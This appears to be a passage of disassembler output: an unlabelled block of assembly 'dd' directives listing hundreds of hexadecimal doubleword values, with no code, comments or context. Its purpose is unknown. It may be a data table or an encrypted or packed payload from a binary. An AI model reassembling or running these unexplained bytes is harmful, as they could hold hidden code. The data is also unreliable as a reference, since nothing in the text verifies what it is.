		dd 5D8B71E9h, 85D08764h, 36DF9149h, 7E5B1963h, 0EC5722FAh
		dd 7FB3DB59h, 8B5D4107h, 0EF1037C3h, 0F43B5D04h, 0E30B53B4h
		dd 0E291025Ch, 6FDE72F6h, 816AFEB1h, 52E9FC41h,	53E59976h
		dd 69B92A9h, 0B875FF24h, 9B718447h, 30A69D1Eh, 0ABD809EFh
		dd 6DD112h, 0C3AD59A1h,	8CA0E285h, 1BEE79F2h, 5A877D2h
		dd 2DF993ADh, 43D09A2Fh, 0E1600464h, 114D4A21h,	15D9E74Bh
		dd 3F5FE830h, 0A4D4757h, 744898Eh, 0E04F4752h, 0BF85AE17h
		dd 0D83A1292h, 0A9E15F5h, 3BC59216h, 0AFBEBB2Bh, 0E449F90Eh
		dd 0E042D8C3h, 9D6BBE2Ch, 0EEC53A55h, 32B2899Fh, 39C88AF7h
		dd 0FCB1032Fh, 4161DCBBh, 3D108EE0h, 0DE2D31A5h, 849D7806h
		dd 0F3AC8111h, 94672A87h, 7B92E2B0h, 3AA27D9Dh,	84E56A5Bh
		dd 8EB7AB07h, 4164FE69h, 21C87BEDh, 0F2B5AA58h,	8BE14E22h
		dd 1130E2C6h, 29F6B44h,	5473EB78h, 8B3D1E2Bh, 48C5C440h
		dd 0FFFD5C1h, 710907DCh, 4B7511CFh, 0CA47B2BFh,	0E0221AB6h
		dd 6CE73642h, 0A59F6A51h, 67549B28h, 82C0927Ch,	0A0A248DEh
		dd 0EA33F84h, 1EC8808Ah, 8EA1032Fh, 58251F50h, 64DE2DA6h
		dd 7765EF20h, 5FDD588Eh, 3BF4D4C7h, 3BEC0F4Bh, 2B250FFBh
		dd 0A6F2A666h, 735F50D0h, 88A73C07h, 5966F176h,	6432F3FDh
		dd 0F16FDB87h, 0A280B6BFh, 7F7548D5h, 7CD153C0h, 795EF0B6h
		dd 458D7477h, 4DCBAC11h, 2CA892FDh, 0E649895Dh,	0F49DD911h
		dd 0CE79FA2Ah, 0E73FA78Fh
		dd 96EF32C3h, 0BF937D0Ch, 0F0C61110h, 9322742Dh, 0F508CCCAh
		dd 936B99Fh, 2E0E35F8h,	2668400Eh, 0C8251D17h, 88B7EA25h
		dd 190BB2D7h, 0F485448Eh, 0B52FD1F2h, 0F7378C0Eh, 0B175C47Dh
		dd 422A8974h, 84E56AABh, 888FB9C3h, 5966F046h, 1DD771Dh
		dd 78A75DBAh, 0C2D6996Fh, 5CFEF7CEh, 5F42185Bh,	18658287h
		dd 123B38Ch, 64A9BCD5h,	0EADE1D5Dh, 0BFAECE91h,	0A02A1692h
		dd 0ECE21E2h, 342F923Eh, 96AB581Bh, 0AE8D141Ch,	0E5FB1110h
		dd 0CDA7C6AFh, 76FB4FA9h, 9FB3ED0h, 6CC89283h, 5AB1032Fh
		dd 0D61DCBAh, 45108EEEh, 0E2D31A1h, 9C723143h, 752FD489h
		dd 3ED8080Dh, 1735BDE1h, 0B297C46h, 0A0E06AB7h,	17EE7052h
		dd 1DA8471Ch, 6C32F141h, 68F07D0Bh, 0C3947EEh, 49FEAE93h
		dd 0A89C157h, 0EC65DD8Eh, 0FFCC24F4h, 834D5886h, 0D62E8AA8h
		dd 0B2AE9600h, 7C5E9886h, 570CB6AAh, 48F4D337h,	0C7718108h
		dd 0BB35B82Dh, 0EC5C7324h, 8861BE2Ch, 0F5BA7BDAh, 7D343A94h
		dd 200601BCh, 4CB43728h, 0E54CC60Ch, 586CF4B4h,	7B6DB291h
		dd 3CD8F7C3h, 64E17B8Ah, 604B458Ch, 6BEE8CB1h, 1E2B3C11h
		dd 0F172649Fh, 0BFE7226h, 9C1BAA4h, 188DFE71h, 74D87713h
		dd 57FC9808h, 3995269Eh, 928C8CC8h, 12DE0DCAh, 613FFE87h
		dd 4D878A70h, 63CAD2E1h, 0BB283FD5h, 0B0521DEFh, 570FFAF6h
		dd 78EAD337h, 5A39748Ah, 0AE3F6E4Ch, 0EC961714h, 46DBF3A5h
		dd 0C9964F9Bh, 80F38C80h, 52C89BF3h, 76990B2Fh,	0FA68E937h
		dd 18A3D251h, 0B575CEA9h, 406748Ch, 0B1EE4999h,	0E07B4F8Dh
		dd 7BEE8CB6h, 0B1EFFC2Fh, 7B0ED3Fh, 7B28F161h, 5393F85Fh
		dd 3DC87537h, 0F1C3BFF5h, 0D2E280AAh, 0D9CAABDEh, 67E50C72h
		dd 0C708E85h, 661FDB8Ch, 755F98Ch, 39340752h, 0AA3447DEh
		dd 7E9FDC11h, 520EB6AAh, 3468592Fh, 2C9AE8EFh, 0E708F1FBh
		dd 0E2C6DF8Fh, 473FEB93h, 4A5C5B9Eh, 8C6F5619h,	46C882B2h
		dd 115E870Bh, 19AABF23h, 6D10B2F6h, 323D31A1h, 759D3C42h
		dd 0E0E14D55h, 62665789h, 6EEF94A7h, 28B2FE3Dh,	8CB89C28h
		dd 4620F720h, 8BD7553h,	0EF9DAA38h, 684EDC53h, 0A79D1E4h
		dd 4CFCA286h, 37C9865Bh, 1C68EEE9h, 0CBD6C0h, 0E341AC05h
		dd 662A08C4h, 0AA3C87EAh, 0F59EEB72h, 1ABE29FAh, 0ED5A1DB6h
		dd 96BBD652h, 391F9FCh,	3FBCE8Ch, 0AAEFFBA7h, 7F85025Fh
		dd 8495FED5h, 6A43928Ah, 0A69C0BF7h, 1E77EB35h,	45A79EE3h
		dd 1B51BEDDh, 0D10670BCh, 31F44994h, 0AD77528Ah, 46E6B4F1h
		dd 69D776CBh, 1B0A424h,	5622F804h, 39ED3E43h, 6C06E67Ah
		dd 79F57A03h, 0C79C066h, 903F5A83h, 4E43BA1Eh, 0C6B5F39Ah
		dd 83232337h, 7742A478h, 6165890Ch, 7134D7DEh, 0AD1D85D2h
		dd 3BA2ABEAh, 40ECD1F5h, 0DFC47B8Ch, 68E432B3h,	156D8EE4h
		dd 475FCB3Ch, 0D0564F93h, 1A3B8D84h, 5CC840F6h,	0DB2B8907h
		dd 6261B27Fh, 39B3D22Dh, 0B6283379h, 3F853942h,	359DF0C4h
		dd 606B7AFBh, 6BEE8CB5h, 0B6F75D01h, 0D7B8B12Ah, 0C0F615C5h
		dd 5CED842Eh, 0C50E1A78h, 2FF3A7C7h, 0B661C8E4h, 15302A29h
		dd 993D01C2h, 703501F2h, 83EB2A1Ch, 0C82953E5h,	0A8FAABC9h
		dd 0EEAC47AFh, 0F491110Fh, 103C5CEAh, 63C65A3Bh, 3921FE36h
		dd 62D47206h, 0F5FE19DCh, 456F7E47h, 82E7860Ch,	0E66121Bh
		dd 12538BF0h, 56A17EF7h, 2C26E27Fh, 449197DEh, 8A2831E9h
		dd 5D8C2C44h, 6A2D30D1h, 78E581h, 0E2ECA02Dh, 0C5A78FF6h
		dd 8BA86CABh, 5721E945h, 1965FEA2h, 39C00096h, 98262C1Ah
		dd 0A3A9F9F0h, 0E3B47A5Fh, 8FDDCD4Eh, 14341287h, 531FFC1h
		dd 8542160Fh, 0E2703EA8h, 71771210h, 7CC96DDFh,	0D992922h
		dd 0ED949854h, 0D53EFFDDh, 0E379668Fh, 611E9B03h, 33FBBC28h
		dd 87A0CFC3h, 70B38380h, 825675B7h, 0DDF188DBh,	58E36672h
		dd 0A088E7A3h, 91920306h, 0F4847C0Eh, 3827C484h, 0E951EEFDh
		dd 46E684FEh, 49D71BD9h, 0A549266Ah, 88ABF97Eh,	0E1BD0BC6h
		dd 0D672471Ah, 876D770Ah, 876B8586h, 0E53024D6h, 0C2409F4Ah
		dd 6F2AC90Ch, 0DABA97C7h, 834796C4h, 6E2877F9h,	0BED1D254h
		dd 0FA191D98h, 127F5B7Eh, 98CBDB3Fh, 5BE54A07h,	0D3647E41h
		dd 6323EF0Eh, 0D36B3DF4h, 0EB987BDh, 9C74Ah, 19D69E7Ch
		dd 0DBF18920h, 24649473h, 5B7096AEh, 7EEE6220h,	304D17D7h
		dd 0CA651E02h, 0FE738C04h, 2B6483F5h, 4AA032A6h, 75BC6DFh
		dd 4622F531h, 0E02B726Bh, 298DFE96h, 0DBFCA93h,	4B11AD0h
		dd 0D91EB136h, 0DB13D36Fh, 10BE2875h, 1344392h,	0A06EA15h
		dd 0EC2FC2E9h, 0FA278325h, 151B4113h, 36BFC1E5h, 9E7582B6h
		dd 45C8B502h, 0FBFD750Ch, 0EE2CDE89h, 25E9B6ACh, 87DD4686h
		dd 707E3810h, 0E80601E2h, 0A1E0D8AAh, 4AE96E62h, 0D08918E0h
		dd 8F4453B9h, 71067CC8h, 48E04987h, 98A13EFEh, 3A1B04D3h
		dd 0CDB60327h, 0C92BE495h, 2FB7494h, 0CF15AE6Ah, 2D64F571h
		dd 0F3A5F5D2h, 0D7E46B2Ah, 0E12024D7h, 908FAEC2h, 0ED25A99Dh
		dd 3343E8h, 0F807CB43h,	6920A2EDh, 0BFAB423Fh, 0F4F24966h
		dd 4293EF77h, 840980B6h, 0F4185518h, 1135A88Dh,	7F4A1101h
		dd 0DCCAB924h, 0D61F435Dh, 0F97B136Fh, 0DFC69AF7h, 3F1E8152h
		dd 0AC606AA7h, 0D36BD72Fh, 0CB6D4AD4h, 0A8F0FFCEh, 3BB5B18Bh
		dd 3BEAFF45h, 0C3300DFAh, 0A7AF76E9h, 8CA0E6C4h, 0E32821EDh
		dd 2D2D90ECh, 0D34C25D8h, 0EDB17E96h, 976897E7h, 1D77E820h
		dd 9AF42A03h, 713FCAF2h, 0F876D009h, 81436C88h,	69E9BAB8h
		dd 7142E95Fh, 0A51661DFh, 0EA2823FBh, 0ED8558F9h, 0CF34BDDFh
		dd 6228B26Fh, 0EFB45BDEh, 0C7BEAAA7h, 0C4D46D1h, 4FFBE9DDh
		dd 25A88FF5h, 17EDCDACh, 0A4156E72h, 6274EF26h,	0EBE6B4DCh
		dd 75DDF130h, 365C9102h, 0F48C0D00h, 0C40F8590h, 0BCCB9E72h
		dd 482319B4h, 0ECD67990h, 82E18FC9h, 790000F4h,	80F07C52h
		dd 0C6490A9h, 0E174A793h, 98C69672h, 0FBCAC7E3h, 8BCB168Ch
		dd 0D86B2050h, 91A6A564h, 737D9C0Ah, 78584476h,	47728D86h
		dd 32DDBDB6h, 0EBD8638Ch, 0EA0C7A19h, 6365E914h, 0D0EB3DF4h
		dd 0FB987BDh, 609C74Ah,	15D69E7Ch, 0D8F18920h, 0B5649473h
		dd 507382D3h, 1992451Eh, 948D75C8h, 0CF6C478Ah,	833424F4h
		dd 0C49A64B6h, 5EE7FD7Ah, 80E56D1Fh, 8343AAC4h,	8A12042Fh
		dd 0EF04F455h, 98301D40h, 0E306E10h, 442EF426h,	3D75DF88h
		dd 4353D8Fh, 14D78Ah, 5D42DC05h, 2CA4E764h, 0BFADD259h
		dd 9572C992h, 9173AAFBh, 0A7D150FBh, 0D0CB428Ah, 0EB3BCE89h
		dd 0BF6E9A04h, 0DBD35BA5h, 6EDD47C6h, 0FD8CAC53h, 9714DCA4h
		dd 6526807Ah, 486096CBh, 129AF8A7h, 0B285E9B7h,	37728345h
		dd 352DC876h, 149F84DBh, 390F916Ch, 0A6F1768Fh,	735F17A4h
		dd 8AA7320Fh, 0F16E1D66h, 0AA85B10Eh, 8C4FFD1Bh, 0C69816Fh
		dd 0DFFC8593h, 9F31E160h, 91BBBE79h, 8D346307h,	0F7AB3C90h
		dd 792B9B12h, 3A184255h, 67D90CDh, 0C2D9F550h, 64C25857h
		dd 0C4806D07h, 6B147201h, 0AD1792C0h, 0CBB53FDCh, 0FF1D47C6h
		dd 1E76C19Ch, 0FBBC7519h, 9E18830h, 45901F3Ch, 8F747E21h
		dd 12E8314Ah, 8472835Fh, 5F544137h, 3837F8C1h, 0C4BCBAAFh
		dd 4266F558h, 742320CEh, 0FCB7827Bh, 9117726h, 2C7543C1h
		dd 7C4E01E6h, 40961159h, 1975E5D6h, 0E684554Bh,	8D3EDE70h
		dd 89CD52F7h, 778679C3h, 9972494Dh, 5ED95105h, 76BD999Eh
		dd 2FDAA23Eh, 5D7DAEBAh
		dd 946F3E6Dh, 17F2208h,	29716A9Bh, 84A77AAFh, 6A80913Eh
		dd 1E235F6Fh, 0DABE06E3h, 0AB210D30h, 0A0E346A1h, 0CD12DAA4h
		dd 1195394Eh, 5C6577C7h, 375B3B0Bh, 0EB670A36h,	0B065EE56h
		dd 1DF2833Ch, 735081D3h, 0F6F77C3h, 5611A388h, 0C504996Fh
		dd 872FCD0Eh, 874E5AE2h, 4A75C7D6h, 3E94831Dh, 0C29B283h
		dd 7326F20Fh, 8B9F651Eh, 0A95EFD0Dh, 3BE74B71h,	0E14E1C60h
		dd 1321A26Fh, 67A2AE2Fh, 0C1D53F03h, 191120ECh,	0DEBE5DFBh
		dd 528BBE2Ch, 0B976B81Eh, 782EEC3h, 421A7509h, 0D6F1AC64h
		dd 0FA057E67h, 0C4186D5Ah, 4DAB33BBh, 0EB53C655h, 0C02D9D42h
		dd 0E6A45C6Bh, 6E65A329h, 0A22192F2h, 0DBF6B42Fh, 88A3A9BFh
		dd 0A004EA66h, 0A28DC211h, 3E9D1655h, 0D17A90FFh, 0E6B5C83Eh
		dd 0DA4D53B4h, 0CCB785F2h, 8662F8h, 0FF219C05h,	1D3182EBh
		dd 0A937E845h, 0F5C02B72h, 1AE329FAh, 8E101DB6h, 25F9F900h
		dd 0E6BC7204h, 5E5ADF8Fh, 116E4269h, 0DC564CA2h, 98AB2F6Ch
		dd 23B3CF7Fh, 1B3B012Fh, 982069FCh, 6D9B9099h, 0FE28334Ah
		dd 0BF7D0136h, 262FDCFBh, 62B72E25h, 465C7C11h,	89A80485h
		dd 8CA01B76h, 7E20F42Ch, 82BEB19Bh, 0C1DDD237h,	8759A854h
		dd 866523ECh, 933482Dh,	0E0C91CC0h, 79B79106h, 104283FBh
		dd 0B52A6453h, 0EC6C5D12h, 79393695h, 0D72FE652h, 1D24917Ah
		dd 9A0516BAh, 0D74F58F8h, 0F6C07A04h, 6A937252h, 549241D3h
		dd 1B183316h, 0DA18F958h, 0E91C4AC7h, 0C70D017Bh, 1C1F1BF7h
		dd 10BC2E28h, 6D6DBAB3h, 8062BEBh, 7ABD099h, 9B420177h
		dd 0FA65842Ch, 0C7C47387h, 722181F1h, 3ADEF3DBh, 19C9B2F8h
		dd 298F0537h, 3B516993h, 0F269EBE9h, 62F6A2C2h,	17BD0E4Fh
		dd 64F06E9h, 6630EE07h,	7C478786h, 6936FDEAh, 0FFD70255h
		dd 0F5C79825h, 0EAACCCFAh, 8E38E730h, 27315843h, 0E9F7D7Bh
		dd 0D7CE99BBh, 16A2D875h, 0E79DC2B0h, 94C409B5h, 364CAFF0h
		dd 7CEC77DFh, 7660960Bh, 0A39DD12Ch, 487D9EE7h,	59EB8C34h
		dd 79C2C743h, 14AF8436h, 6FEE8FB9h, 89C46755h, 0BDA0E729h
		dd 58F5AB9Ch, 5C126F80h, 0C50E2638h, 2FF05C4Fh,	8861B9E4h
		dd 3C738061h, 1AC87FBBh, 6230614Eh, 8150558Eh, 7D4053FBh
		dd 2AC304DEh, 8F3CCD53h, 8E447F8Eh, 1F6FAAFEh, 6785DB59h
		dd 0B7B64B07h, 92C44987h, 0D7FC2503h, 0D5E0BE2Ch, 989D4669h
		dd 2F7A6090h, 5C8335F9h, 9EE18995h, 61961352h, 73C1B3h
		dd 76DBAB0h, 0F24BF5DBh, 37DA0439h, 0F18EC702h,	34658450h
		dd 1B29B1CCh, 570E623h,	0FC96F811h, 75EDE654h, 6A7AA5A1h
		dd 0C260F15h, 5F6C38E2h, 0C065C22Fh, 0E295DFABh, 1E99464h
		dd 103652DFh, 824001D8h, 2CE90AA8h, 42245FADh, 0F5C6999Bh
		dd 121AF213h, 6981DB3Fh, 0DE6C4007h, 0C3DA31B3h, 28111A0Bh
		dd 0DF67EBA7h, 7A1C9569h, 0B0A30F94h, 3745C97Fh, 0A20877E8h
		dd 4E609635h, 5E9DD12Eh, 28EDBA96h, 0BB733934h,	0F3A2870Bh
		dd 23E408D3h, 78ECE240h, 42E7FC73h, 80E56E6Bh, 7E670CCFh
		dd 4C668783h, 6A04A50Fh, 3B616AD5h, 0E169E56Bh,	19778211h
		dd 190F624Bh, 0C405918Fh, 364FEEh, 5FDC705h, 9571AB8Bh
		dd 715960BEh, 7CA01BD9h, 5193CCF9h, 267B3E3Bh, 92C35805h
		dd 0A55D1402h, 97D9FC00h, 0B64BBE2Ah, 8FE10255h, 2A8E85F6h
		dd 0BC94F406h, 651DCD9Fh, 69E9F0ECh, 0F01EF459h, 7EF13EBCh
		dd 6B827CBDh, 7AB38F9h,	0B8A68E21h, 0C3300DA5h,	4CE9C078h
		dd 3654AAAEh, 3ABF454h,	0C8C4303Ah, 0FA79865Ah,	80F38773h
		dd 0E0F20E6h, 1AFCA606h, 0E68DB944h, 6672280h, 0FAE57A8Eh
		dd 648298Ch, 0E030895Ah, 0EA85EE18h, 7CC9999Ah,	99D8832Bh
		dd 8523B47Ah, 0D8B46B8Ch, 366514C6h, 0D64D1362h, 2CEE0123h
		dd 9B0EF0D9h, 2FA0C719h, 0BDABDF7Fh, 1DE7C397h,	30DA7279h
		dd 0C19B92A5h, 0E5AC9362h, 145E98F8h, 0F94C9137h, 3BEE61F0h
		dd 3F260D38h, 48E1C066h, 70ED58D4h, 8ACD0CAFh, 828BE7C0h
		dd 20EB3D74h, 0B0250A10h, 0DC37BD90h, 0DA28235Fh, 8A5888DBh
		dd 94A4391Fh, 90A62397h, 5C28FC95h, 85B70764h, 7169915Dh
		dd 804211C7h, 9BC623F6h, 9C01C1CEh, 58B87B8Eh, 364B7DF6h
		dd 417428Dh, 5B77FBA5h,	0CA16BF93h, 5CA8586Ch, 0E280D71Ah
		dd 0B2BD0376h, 0A7B81F38h, 80F08D45h, 5FB73397h, 67946h
		dd 31A3CC36h, 2FD10821h, 0FDEC805Fh, 4E2291EAh,	0F021E7DFh
		dd 83ABE450h, 2C98E193h, 0C90E1B98h, 5C66670Ch,	7DA83966h
		dd 8C6145D3h, 0AC91D43h, 36E902h, 8126FD08h, 0F64763E7h
		dd 82240A12h, 0DE430362h, 0F588998Ah, 9B02DFFAh, 7A14DBE7h
		dd 5878FE6Ch, 0E306B3DEh, 0DCBB8E8Fh, 5DFBBF2Bh, 1FD94592h
		dd 0C4988698h, 4FF3341Eh, 7EE14FDFh, 0BB609635h, 4B706D6Bh
		dd 1B624C3Ah, 356DFF74h, 30A4E21Bh, 0EB620751h,	656587DCh
		dd 0F12FB4B6h, 8CA0E4D3h, 38C4EE1h, 5AEDEDE3h, 0DD14027h
		dd 70BB26DFh, 0F479C267h, 9AAE84CDh, 0DAA383ABh, 0C5ED28ABh
		dd 14B346FDh, 8BB0490h,	6B7854FDh, 0E5BB4351h, 0A587B72h
		dd 1CDC6D05h, 0E64A583Fh, 0F6B3C1CFh, 3D759A57h, 5B0765FBh
		dd 88DB9A68h, 5118AF85h, 7070F96Fh, 2C8503FEh, 153842C9h
		dd 0CCE9CFC5h, 0DD58C9FFh, 0ED6D9DC7h, 5CA93027h, 0BC8083C8h
		dd 0B956C4F8h, 39109EE3h, 7722BAE6h, 0CDA391D7h, 0D322028Fh
		dd 5A7D2AA8h, 0DC15806h, 392D4B9Fh, 40E046E9h, 1991CDB0h
		dd 1B7C78CBh, 45BDC38Fh, 0E0B93D01h, 48395A0Ah,	0A98624EBh
		dd 76B81A20h, 800B9DE3h, 6C1ECCEBh, 6CBD583Dh, 0D76DBD61h
		dd 0E2B6F60Bh, 0FCA59A04h, 0A76A354Ah, 0B81CCEB0h, 91328DF6h
		dd 3A020390h, 0AE00347h, 5662D7B2h, 689B9378h, 0BE863821h
		dd 72F4FFF2h, 1B7DB373h, 0AAD008ADh, 34A5861Ch,	8FA62156h
		dd 5CA9E531h, 5EA67FAh,	0DAC62CCh, 9E82E4B0h, 82673F02h
		dd 0E1B90960h, 1672CA5Fh, 1BC5D1FCh, 1586B64Fh,	933A9C6h
		dd 483D4AD5h, 48DA04EFh, 76888933h, 873B1FE3h, 1A6F4146h
		dd 9E9F5988h, 0D6018908h, 0E90B90C5h, 0D9F7FCD4h, 0A94A0923h
		dd 0F992BF07h, 913202C0h, 9B9383F6h, 0E1E3C9ABh, 0E564D78Fh
		dd 312C9D45h, 0D18F7A45h, 1DEBAC95h, 0E1C2C323h, 280101A6h
		dd 3D1C043Fh, 281E0243h, 83A68A4Ch, 5D2E5F2h, 562E6EDCh
		dd 9600EFCAh, 78A64D13h, 874EDD62h, 0E676CAD6h,	1A3B026Eh
		dd 430BD9Fh, 3E6B07h, 9A8DC05h,	691302EDh, 0F5FE8255h
		dd 0F54A999Ah, 1513AAFAh, 67CC583Fh, 0D56C3E07h, 9E1C7204h
		dd 0C46E9A04h, 0B36BBE2Ch, 5EDD47D6h, 52730691h, 0BC438AF9h
		dd 60E18822h, 0C8609639h, 789B92BAh, 0CE6DBB41h, 0B48D7C98h
		dd 70A4C76Ah, 0EB6707DFh, 3B658778h, 4EA27125h,	8CA0E843h
		dd 3ABED8Ch, 9EDD323h, 298D28F1h, 78A65AD3h, 8769516Fh
		dd 197729D6h, 1AC6544Bh, 433318Fh, 3F6307h, 9AACC05h, 691F22EDh
		dd 0F5814255h, 0F55A199Ah, 14F0AAFAh, 6782583Fh, 0DAE83E07h
		dd 9F147204h, 0C29E9A04h, 0BF4BBE2Ch, 651D47D6h, 42F30691h
		dd 9B438AF9h, 22E18822h, 4C609639h, 709B92BBh, 0FE6DBB4Fh
		dd 0D48D7C84h, 0B0A4C712h, 6B6707EEh, 0B36586A7h, 2EB271BAh
		dd 1B0E89Ah, 8EBBEAD9h,	6DFDDD6Eh, 7E85ABEh, 16CF6299h
		dd 0E63FCA86h, 700D61BAh, 6DE6F125h, 6B40DBE6h,	6C201064h
		dd 68DE9E6Ch, 4735BB9Fh, 8689087Bh, 811FF8EEh, 34B6C493h
		dd 26031773h
		dd 93341E4Bh, 0CC01354Ah, 0E0C9D44Bh, 0DED9D658h, 437323B7h
		dd 42730CBFh, 0E31EB8Dh, 0C486E64Ah, 8D2DD97Dh,	0FAF3E698h
		dd 0C009DA29h, 0F48752A8h, 0A0F08658h, 0CB5D57ABh, 4C17E9D0h
		dd 2BC603D8h, 0E3D4C8DFh, 6A8ECB06h, 46BEDC09h,	9DE7D72h
		dd 0CD40923h, 0EE739655h, 781467DCh, 3AB2EF25h,	605C60EDh
		dd 73689F27h, 29C38971h, 27A8D9Eh, 0FFB4B630h, 861C759Ah
		dd 71A8CF8Eh, 4908764Dh, 0B4693E0Dh, 0F3D61770h, 0B3EEF665h
		dd 0E4F9D943h, 5FC03BBh, 46A006F0h, 834FE9Fh, 8BBDED51h
		dd 0EB12F557h, 74FDFDCBh, 7004EC11h, 67FA13E5h,	42D18449h
		dd 1F096297h, 4817E3E3h, 12CC1ED2h, 0E0D090FAh,	71CE995Bh
		dd 6782BF13h, 5DEE537Fh, 58C8097Ah, 0F439DB8Ch,	135902B3h
		dd 6EA7AE4Bh, 7C572DEEh, 6E60E364h, 6A8DF962h, 569EF82h
		dd 0FFF0F630h, 9406ED9Ah, 71A1D994h, 94D2A4Dh, 0BB581E60h
		dd 0B3921370h, 0A2AE902Ah, 0E085D043h, 15B833B5h, 81C72B1h
		dd 4D79F9DCh, 0BBE1824Ah, 0FD0EF851h, 77F2E6DBh, 61199B23h
		dd 0EFE59A1h, 1684AE30h, 8E0B6E84h, 1E45A7D0h, 66825990h
		dd 86898196h, 6DC4882Ch, 7D8EB90Dh, 9EA5818h, 5D8608A7h
		dd 0EE738D1Ch, 760465DCh, 3AB5A728h, 245B24F9h,	7324D827h
		dd 6AAD8658h, 0C77CC82h, 9AFD3636h, 900639F4h, 60A7CF90h
		dd 4F1A3C5Ah, 0B7574C61h, 0EE912924h, 0C1D4B359h, 0EBA5D14Fh
		dd 196924B3h, 4ED368FEh, 772EE58Bh, 8792AD78h, 0F9339634h
		dd 73F2E4CAh, 4D08EF28h, 26E528F5h, 8AC0A670h, 252857C4h
		dd 68658CF4h, 27D403DAh, 0E9F48DD4h, 6BFF9F57h,	6D8CB901h
		dd 48EF166Bh, 37F647F7h, 875CF3A1h, 6F050185h, 4EA3AD22h
		dd 504676EAh, 6164E96Fh, 598D8661h, 635F0CA4h, 87F15155h
		dd 9014F0ECh, 60B6CFAEh, 24A306Bh, 0FA0E5A66h, 0F3A21D67h
		dd 0A4BAF961h, 0D72BB448h, 192B35B3h, 422763F2h, 3E17FE8Ah
		dd 0B880ED51h, 0F114E51Eh, 4CFEE6CAh, 5C39BB47h, 37E228F8h
		dd 95CAA97Ah, 0C24F7387h, 5A03A688h, 2AC71DD8h,	868EC685h
		dd 7AD9BF5Ch, 66AEB317h, 4AE859DFh, 428F4F27h, 0A93DDB4Fh
		dd 197D4DF8h, 4EBFB21Fh, 6A5D5AE0h, 7462F669h, 2997852Dh
		dd 1B77008Ch, 92FAAB21h, 0FF5937B4h, 6DC8FEFAh,	87D376Bh
		dd 0B9555069h, 0B3ED5A70h, 0C1F4B42Ah, 0E77FDF5Bh, 17F223BEh
		dd 489726ABh, 5F6DEF97h, 0F4CBA223h, 0E001E11Eh, 4FFFFADBh
		dd 294D812Ah, 0FDF915E0h, 5384A07Ah, 7176A8Ch, 1500F2D4h
		dd 4EA85F9Dh, 0AC8AC285h, 60DF8A23h, 6E82B83Bh,	48FA17ABh
		dd 16CF137Ah, 0A9789B88h, 6E4962DCh, 72A5B62Ah,	3E5572EBh
		dd 7264D827h, 6CCD3573h, 67071CDh, 0D5F0EE20h, 8756FCF8h
		dd 75CFD99Fh, 3592C4Dh,	0BFA25F27h, 0F4B90024h,	0A09AE96Ah
		dd 0E00ED240h, 7DD4DF7h, 4E1072F0h, 6E24E59Dh, 0A284FB03h
		dd 0CD03FF48h, 4BFEE098h, 3A1FDA39h, 0BEA318E4h, 4C5B014h
		dd 84036F80h, 4945BCD7h, 2FD602D0h, 0EA809CD1h,	66C7822Dh
		dd 9E7F1C7h, 4AF95686h,	1FC900BBh, 0E2249555h, 6D040FBFh
		dd 73AAA82Ah, 771276E1h, 6977D162h, 27802966h, 1E1828C3h
		dd 9DF43634h, 0CF1176FEh, 67DDD8DAh, 0E40374Bh,	0A9E85969h
		dd 0EEBD1561h, 0E067E870h, 84419002h, 146926A1h, 419C62F9h
		dd 2730AAC3h, 0B795FA42h, 0AC6AB85Ah, 5EF2E5E7h, 2132897Eh
		dd 0A7FE12F6h, 0EFC9B04Bh, 191007BDh, 550CF2D6h, 21D651D0h
		dd 0CFEBA087h, 76CAC411h, 7C9FB0C7h, 4CE617BFh,	56884AEAh
		dd 0E805B2E5h, 780014B0h, 579AA339h, 6B4076E6h,	7467D474h
		dd 67C72B59h, 1A6FAD89h, 87E24109h, 8117FCE8h, 67CBCFACh
		dd 3B5E3756h, 0DBAA4B55h, 0E9850073h, 0EE69F46Dh, 0CC8BD158h
		dd 58100B9Dh, 4A0773F0h, 722DFF8Bh, 0FA98ED48h,	0A06AB810h
		dd 27F79292h, 3D6DDF2Ch, 0A3D93ACEh, 0ACE19555h, 99046EAFh
		dd 5D0AF5D1h, 27F52DDDh, 0FBCF8D35h, 57E5CB0Fh,	7B989CDFh
		dd 5DE35243h, 0BD40105h, 0DB38DD06h, 7D190681h,	1AB5AF24h
		dd 776729A3h, 6E68C162h, 5AAE186Ch, 3E4CA4A2h, 0A9D29014h
		dd 871A70D7h, 72D1D995h, 0E61044Bh, 0ACAF5A69h,	0C9AA5277h
		dd 0BC4BD958h, 0F0E5DB5Eh, 4EF2280h, 799D69F8h,	3D2DE3AEh
		dd 0B88EEF4Ch, 0C514C53Eh, 30EEE6CAh, 0F902C91Dh, 67E01DF2h
		dd 43DD941Bh, 370A6295h, 4917F3FEh, 0DD61FCEh, 0FED48730h
		dd 66F8871Bh, 66AE83E7h, 46FF437Fh, 1DF2387Fh, 0E93FDE9Dh
		dd 4A5702B7h, 7FB0A82Eh, 606571FDh, 64731774h, 9CA6B75h
		dd 3B7FE7BFh, 0DDF3E330h, 9658A3B3h, 6098C49Bh,	6512A1Fh
		dd 0BEB71E63h, 0EED9527Dh, 0AB7C9A0Eh, 0E58EEC4Bh, 4DF46FB2h
		dd 451674B1h, 3966AA9Dh, 0DC98EA03h, 0DE40E55Bh, 78F6FDCAh
		dd 0A64DC868h, 3EA40FA5h, 17C1951Bh, 8F0662B3h,	1B5FAF94h
		dd 20C701C2h, 0A9808D36h, 78ABE11Fh, 3DAE99DBh,	1DC97335h
		dd 499326FEh, 0B6679E2Ah, 205A2E92h, 37FE9D73h,	420B15CAh
		dd 38457632h, 3A97393Ch, 0C5CA290h, 9CE42126h, 9A116DEAh
		dd 7DF8AA94h, 666284Ch,	0B6B9707Eh, 0F2B87261h,	9D32FB67h
		dd 0E1BFCD55h, 145247BBh, 509063FBh, 3A2EEBB7h,	0D893CD23h
		dd 0D323E451h, 3FE9E6D6h, 0CA3EBB21h, 54F90EE1h, 0D5D4BE4Fh
		dd 0A0A4EE0h, 5A35E3DCh, 1DA219DBh, 0C9F4BA0Eh,	76E8B729h
		dd 6788AD81h, 47E27425h, 14C917E7h, 0DB22D5BCh,	6F050985h
		dd 69A3BD22h, 766225D3h, 64682D68h, 678E4F60h, 6903688h
		dd 86B66927h, 870EFAFFh, 34C4DE93h, 0E7C2850h, 0FBA75068h
		dd 0BD7E1D62h, 0BA3DE377h, 0E60BD349h, 18342AB2h, 510775F8h
		dd 2C2CFE98h, 8CC1A650h, 0C309FE6Ah, 1AFEE198h,	0CB0ED23Bh
		dd 1AEC1FA0h, 84CBA93Bh, 0CB0265C0h, 4B0AF2C9h,	60C614D1h
		dd 0FEC59A4Bh, 66C882EAh, 6E88ADE3h, 4CF943D8h,	72C20021h
		dd 0F438C76Fh, 397A6BA5h, 3AE6F06Bh, 241219AFh,	20217327h
